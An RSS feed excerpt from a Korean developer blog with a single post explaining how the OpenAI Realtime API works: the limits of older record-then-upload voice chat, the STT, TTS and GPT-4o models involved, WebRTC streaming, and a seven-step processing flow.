<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0">
  <channel>
    <title>끄적끄적 개발기록</title>
    <link>https://developerhia.tistory.com/</link>
    <description></description>
    <language>ko</language>
    <pubDate>Sun, 21 Jun 2026 19:59:35 +0900</pubDate>
    <generator>TISTORY</generator>
    <ttl>100</ttl>
    <managingEditor>*히아*</managingEditor>
    <image>
      <title>끄적끄적 개발기록</title>
      <url>https://tistory1.daumcdn.net/tistory/4996459/attach/ec8ce693eb854494be6d07eec03a973e</url>
      <link>https://developerhia.tistory.com</link>
    </image>
    <item>
      <title>OpenAI Realtime API란?</title>
      <link>https://developerhia.tistory.com/92</link>
      <description>&lt;h2 data-end=&quot;390&quot; data-start=&quot;372&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;Realtime api가 없는 음성 채팅 방식의 구조&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li data-end=&quot;452&quot; data-start=&quot;430&quot;&gt;사용자가 음성을 모두 녹음한다.&lt;/li&gt;
&lt;li data-end=&quot;484&quot; data-start=&quot;453&quot;&gt;녹음이 끝난 뒤 서버로 음성 파일을 업로드한다.&lt;/li&gt;
&lt;li data-end=&quot;529&quot; data-start=&quot;485&quot;&gt;서버는 음성을 텍스트로 변환(STT)하고 이를 분석해 응답을 생성한다.&lt;/li&gt;
&lt;li data-end=&quot;569&quot; data-start=&quot;530&quot;&gt;응답 텍스트를 다시 음성(TTS)으로 변환해 사용자에게 전달한다.&lt;/li&gt;
&lt;/ol&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;복잡해 보이지 않지만, 이 방식은 모든 데이터가 처리 단계를 거친 뒤에야 응답할 수 있다는 구조적인 한계를 가지고 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-end=&quot;681&quot; data-start=&quot;666&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;1. 높은 지연 시간&lt;/b&gt;&lt;/p&gt;
&lt;p data-end=&quot;727&quot; data-start=&quot;682&quot; data-ke-size=&quot;size16&quot;&gt;녹음, 업로드, 처리, 음성 합성이라는 단계를 거치다 보니 실시간 반응은 어렵다.&lt;/p&gt;
&lt;p data-end=&quot;727&quot; data-start=&quot;682&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-end=&quot;746&quot; data-start=&quot;729&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;2. 실시간 피드백 부재&lt;/b&gt;&lt;/p&gt;
&lt;p data-end=&quot;806&quot; data-start=&quot;747&quot; data-ke-size=&quot;size16&quot;&gt;사용자가 말을 끝내기 전까지는 아무런 반응을 줄 수 없으며, 대화 중 끼어들기나 중간 피드백이 불가능하다.&lt;/p&gt;
&lt;p data-end=&quot;806&quot; data-start=&quot;747&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-end=&quot;827&quot; data-start=&quot;808&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;3. 자연스러운 대화 어려움&lt;/b&gt;&lt;/p&gt;
&lt;p data-end=&quot;889&quot; data-start=&quot;828&quot; data-ke-size=&quot;size16&quot;&gt;억양, 강세, 감정 표현 등 사람처럼 말하기 위한 표현력이 부족하고, 실제 사람처럼 대화하기에는 한계가 많다.&lt;/p&gt;
&lt;p data-end=&quot;889&quot; data-start=&quot;828&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style3&quot; /&gt;
&lt;h2 data-end=&quot;915&quot; data-start=&quot;896&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;Realtime API의 등장&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style1&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;The OpenAI Realtime API enables you to build &lt;span style=&quot;color: #0593d3;&quot;&gt;low-latency, multi-modal&lt;/span&gt; conversational experiences with &lt;span style=&quot;color: #0593d3;&quot;&gt;expressive&lt;/span&gt; voice-enabled models.&lt;/span&gt;&lt;/b&gt;&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;platform openai에 들어가보면 realtime에 대해 다음과 같이 설명이 되어있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;말이 조금 어려워 재해석해보았다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style1&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;Realtime API는&lt;span style=&quot;color: #0593d3;&quot;&gt; 저지연(low-latency)&lt;/span&gt;으로&amp;nbsp;&lt;/span&gt;&lt;/b&gt;&lt;/blockquote&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;&lt;span style=&quot;background-color: #ffffff; color: #0593d3;&quot;&gt;음성과 텍스트(multi-modal)&lt;/span&gt;&lt;span style=&quot;background-color: #ffffff; color: #353740;&quot;&gt;를 동시에 이해하고 생성하여&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;&lt;span style=&quot;background-color: #ffffff; color: #000000;&quot;&gt;빠르고 &lt;span style=&quot;color: #0593d3;&quot;&gt;표현적인(expressive)&lt;/span&gt; 소통&lt;/span&gt;&lt;span style=&quot;background-color: #ffffff; color: #353740;&quot;&gt;이 가능하도록 하는 OpenAI의 최신 API이다.&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;정리하자면 저지연은 말그대로 지연이 낮다 = 즉, 빠르다는 뜻이고 multi-modal은 기존 단순 텍스트 기반 대화를 넘어 음성과 텍스트를 동시에 이해하고 생성할 수 있다는 것! 표현적인 것은 감정과 억양 등을 풍부하게 표현할 수 있다는 것이다!!&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Realtime API는 사용자의 음성을 말하는 즉시 전송하고, 텍스트로 변환하고, 그에 대한 응답을 생성한 뒤 음성으로 &lt;b&gt;실시간&lt;/b&gt; 전달하는 구조다. 결과적으로 마치 사람과 직접 대화하듯 끊김 없이, 빠르고 자연스러운 대화 흐름을 만들어낸다.&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-start=&quot;1083&quot; data-end=&quot;1192&quot; data-ke-size=&quot;size16&quot;&gt;(경상도, 충청도, 전라도 사투리를 시켜봤는데 나름 잘해서 웃겼다...ㅋ)&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-start=&quot;1083&quot; data-end=&quot;1192&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-start=&quot;1083&quot; data-end=&quot;1192&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-end=&quot;1231&quot; data-start=&quot;1199&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;Realtime API의 핵심 기술&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Realtime API는 다음과 같은 4가지 핵심 기술로 구성된다:&lt;/p&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-end=&quot;1536&quot; data-start=&quot;1272&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li data-end=&quot;1347&quot; data-start=&quot;1272&quot;&gt;&lt;b&gt;gpt-4o-realtime-preview&lt;/b&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;1347&quot; data-start=&quot;1291&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;1347&quot; data-start=&quot;1291&quot;&gt;OpenAI의 최신 다중 모달 모델로, STT로 변환된 텍스트를 분석하고 적절한 응답을 생성한다.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li data-end=&quot;1407&quot; data-start=&quot;1349&quot;&gt;&lt;b&gt;gpt-4o-transcribe (STT)&lt;/b&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;1407&quot; data-start=&quot;1375&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;1407&quot; data-start=&quot;1375&quot;&gt;사용자의 음성을 텍스트로 변환하는 음성 인식 모델이다.&lt;/li&gt;
&lt;li data-end=&quot;1407&quot; data-start=&quot;1375&quot;&gt;기존 whisper 모델 밖에 사용할 수 없었는데, 약 한 달 전 모델이 업데이트되었다.&amp;nbsp;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li data-end=&quot;1468&quot; data-start=&quot;1409&quot;&gt;&lt;b&gt;&lt;span style=&quot;background-color: #ffffff; color: #353740; text-align: start;&quot;&gt;&lt;span style=&quot;background-color: #ffffff; color: #353740; text-align: start;&quot;&gt;gpt-4o-mini-tts (TTS)&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;1468&quot; data-start=&quot;1427&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;1468&quot; data-start=&quot;1427&quot;&gt;텍스트 응답을 자연스러운 음성으로 변환하는 텍스트-투-스피치 엔진이다.&lt;/li&gt;
&lt;li data-end=&quot;1468&quot; data-start=&quot;1427&quot;&gt;기존 tts-1 모델 밖에 없었으나, stt 업데이트와 함께 모델이 업데이트되었다.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li data-end=&quot;1536&quot; data-start=&quot;1470&quot;&gt;&lt;b&gt;WebRTC&lt;/b&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;1536&quot; data-start=&quot;1489&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;1536&quot; data-start=&quot;1489&quot;&gt;마이크로 입력된 음성을 실시간으로 전송하기 위해 사용하는 브라우저 기반 기술이다.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-start=&quot;1083&quot; data-end=&quot;1192&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;이 중에서 속도에 큰 영향을 주는 핵심 요소는 WebRTC이기에 더 자세하게 보고 넘어가자&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-start=&quot;1083&quot; data-end=&quot;1192&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-start=&quot;1083&quot; data-end=&quot;1192&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-start=&quot;1083&quot; data-end=&quot;1192&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-end=&quot;1595&quot; data-start=&quot;1579&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;WebRTC란?&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-start=&quot;1083&quot; data-end=&quot;1192&quot; data-ke-size=&quot;size16&quot;&gt;WebRTC(Web Real-Time Communication)는 브라우저 기반에서 실시간으로 음성, 영상 데이터를 전송할 수 있게 해주는 기술이다.&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-start=&quot;1083&quot; data-end=&quot;1192&quot; data-ke-size=&quot;size16&quot;&gt;줌(Zoom), 구글 미트(Google Meet) 같은 화상 회의 플랫폼도 이 기술을 사용한다.&lt;/p&gt;
&lt;p data-end=&quot;1882&quot; data-start=&quot;1736&quot; data-ke-size=&quot;size16&quot;&gt;기존 방식이 녹음 후 업로드라는 순차적 접근을 했다면, WebRTC는 사용자가 말하는 즉시 데이터 패킷(RTP 포맷, Opus 코덱)을 서버에 보내준다. 이 덕분에 별도 저장 없이 즉시 처리할 수 있고, 사용자 입장에서는 거의 지연 없는 대화를 경험할 수 있다.&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-start=&quot;1083&quot; data-end=&quot;1192&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-start=&quot;1083&quot; data-end=&quot;1192&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-start=&quot;1083&quot; data-end=&quot;1192&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-end=&quot;1911&quot; data-start=&quot;1889&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;Realtime API의 동작 순서&lt;/b&gt;&lt;/h2&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;756&quot; data-origin-height=&quot;460&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bLAt6S/btsNvoSDqur/fQ6Jp6S3bhbegRJwZHXbG1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bLAt6S/btsNvoSDqur/fQ6Jp6S3bhbegRJwZHXbG1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bLAt6S/btsNvoSDqur/fQ6Jp6S3bhbegRJwZHXbG1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbLAt6S%2FbtsNvoSDqur%2FfQ6Jp6S3bhbegRJwZHXbG1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;756&quot; height=&quot;460&quot; data-origin-width=&quot;756&quot; data-origin-height=&quot;460&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;전반적인 큰 그림은 이미지와 같다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li data-end=&quot;1935&quot; data-start=&quot;1913&quot;&gt;사용자가 마이크에 대고 말한다.&lt;/li&gt;
&lt;li data-end=&quot;1977&quot; data-start=&quot;1936&quot;&gt;WebRTC가 이 음성을 OpenAI 서버로 실시간 스트리밍한다.&lt;/li&gt;
&lt;li data-end=&quot;2010&quot; data-start=&quot;1978&quot;&gt;gpt-4o-trascribe가 음성을 텍스트로 실시간 변환한다.&lt;/li&gt;
&lt;li data-end=&quot;2045&quot; data-start=&quot;2011&quot;&gt;GPT-4o가 이 텍스트를 분석하고 응답을 생성한다.&lt;/li&gt;
&lt;li data-end=&quot;2072&quot; data-start=&quot;2046&quot;&gt;gpt-4o-mini-tts가 응답을 음성으로 변환한다.&lt;/li&gt;
&lt;li data-end=&quot;2107&quot; data-start=&quot;2073&quot;&gt;WebRTC를 통해 음성이 브라우저로 다시 전송된다.&lt;/li&gt;
&lt;li data-end=&quot;2158&quot; data-start=&quot;2108&quot;&gt;브라우저에서 AudioContext 또는 Web Audio API로 음성을 재생한다.&lt;/li&gt;
&lt;/ol&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이미지와 같이 다시 보면!&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;1. 사용자가 마이크에 대고 말한다.&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;734&quot; data-origin-height=&quot;348&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/RNj0m/btsNs6ZEQlK/ZiJdCAjUo00E0LWCng1J61/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/RNj0m/btsNs6ZEQlK/ZiJdCAjUo00E0LWCng1J61/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/RNj0m/btsNs6ZEQlK/ZiJdCAjUo00E0LWCng1J61/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FRNj0m%2FbtsNs6ZEQlK%2FZiJdCAjUo00E0LWCng1J61%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;734&quot; height=&quot;348&quot; data-origin-width=&quot;734&quot; data-origin-height=&quot;348&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;2. &lt;/b&gt;&lt;b&gt;WebRTC가 이 음성을 OpenAI 서버로 실시간 스트리밍한다.&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;686&quot; data-origin-height=&quot;400&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bw5BoF/btsNvpD16OS/s2ZNkkHe65FhRaoiujUyw0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bw5BoF/btsNvpD16OS/s2ZNkkHe65FhRaoiujUyw0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bw5BoF/btsNvpD16OS/s2ZNkkHe65FhRaoiujUyw0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbw5BoF%2FbtsNvpD16OS%2Fs2ZNkkHe65FhRaoiujUyw0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;686&quot; height=&quot;400&quot; data-origin-width=&quot;686&quot; data-origin-height=&quot;400&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;3. gpt-4o-trascribe가 음성을 텍스트로 실시간 변환한다.&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;740&quot; data-origin-height=&quot;428&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/czZLEE/btsNue44Ecq/KYxpia8AA3YCl8EATablt1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/czZLEE/btsNue44Ecq/KYxpia8AA3YCl8EATablt1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/czZLEE/btsNue44Ecq/KYxpia8AA3YCl8EATablt1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FczZLEE%2FbtsNue44Ecq%2FKYxpia8AA3YCl8EATablt1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;740&quot; height=&quot;428&quot; data-origin-width=&quot;740&quot; data-origin-height=&quot;428&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;4. GPT-4o가 이 텍스트를 분석하고 응답을 생성한다.&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;728&quot; data-origin-height=&quot;444&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dh0O8N/btsNvyAIDyK/WKU8Lyi4Ffs3sIKObVMcyK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dh0O8N/btsNvyAIDyK/WKU8Lyi4Ffs3sIKObVMcyK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dh0O8N/btsNvyAIDyK/WKU8Lyi4Ffs3sIKObVMcyK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fdh0O8N%2FbtsNvyAIDyK%2FWKU8Lyi4Ffs3sIKObVMcyK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;728&quot; height=&quot;444&quot; data-origin-width=&quot;728&quot; data-origin-height=&quot;444&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;5. gpt-4o-mini-tts가 응답을 음성으로 변환한다.&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;728&quot; data-origin-height=&quot;450&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/c1D0db/btsNt5HkCAV/c82atTd4bAQ8IPLwK7GOm1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/c1D0db/btsNt5HkCAV/c82atTd4bAQ8IPLwK7GOm1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/c1D0db/btsNt5HkCAV/c82atTd4bAQ8IPLwK7GOm1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fc1D0db%2FbtsNt5HkCAV%2Fc82atTd4bAQ8IPLwK7GOm1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;728&quot; height=&quot;450&quot; data-origin-width=&quot;728&quot; data-origin-height=&quot;450&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;6. &lt;span style=&quot;color: #191919;&quot;&gt;WebRTC가 생성된 음성을 브라우저로 실시간 스트리밍&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;7. &lt;span style=&quot;color: #191919;&quot;&gt;사용자의 브라우저에서 음성을 재생한다.&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;646&quot; data-origin-height=&quot;382&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cqHsPH/btsNvn7jl7n/pFvvocnK7S5xtEVOhSJhT0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cqHsPH/btsNvn7jl7n/pFvvocnK7S5xtEVOhSJhT0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cqHsPH/btsNvn7jl7n/pFvvocnK7S5xtEVOhSJhT0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcqHsPH%2FbtsNvn7jl7n%2FpFvvocnK7S5xtEVOhSJhT0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;646&quot; height=&quot;382&quot; data-origin-width=&quot;646&quot; data-origin-height=&quot;382&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Realtime API는 음성 기반 인터랙션의 수준을 한 차원 끌어올린 것 같다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;(써보신 분들은 알거임)&lt;/p&gt;
&lt;p data-end=&quot;2395&quot; data-start=&quot;2322&quot; data-ke-size=&quot;size16&quot;&gt;다만 현재는 베타 버전이며, 일부 음성 인식 정확도 문제, 숫자 인식 오류, 의도치 않은 텍스트 변환 등 불안정한 부분도 존재한다.&lt;/p&gt;
&lt;p data-end=&quot;2474&quot; data-start=&quot;2397&quot; data-ke-size=&quot;size16&quot;&gt;하지만 이 역시도 모델의 지속적인 학습과 개선, TTS의 정밀도 향상, GPT 모델의 업데이트와 함께 점점 나아질 것으로 보인다.&lt;/p&gt;
&lt;p data-end=&quot;2474&quot; data-start=&quot;2397&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-end=&quot;2474&quot; data-start=&quot;2397&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-end=&quot;2474&quot; data-start=&quot;2397&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-end=&quot;2474&quot; data-start=&quot;2397&quot; data-ke-size=&quot;size16&quot;&gt;&lt;i&gt;&lt;b&gt;OpenAI야 더 열일해죠~~&lt;/b&gt;&lt;/i&gt;&lt;/p&gt;
&lt;p data-end=&quot;2474&quot; data-start=&quot;2397&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-end=&quot;2474&quot; data-start=&quot;2397&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>개발/AI</category>
      <category>AI</category>
      <category>chatGPT</category>
      <category>GPT</category>
      <category>OpenAI</category>
      <category>Realtime</category>
      <category>realtimeapi</category>
      <category>webrtc</category>
      <category>음성채팅</category>
      <author>*히아*</author>
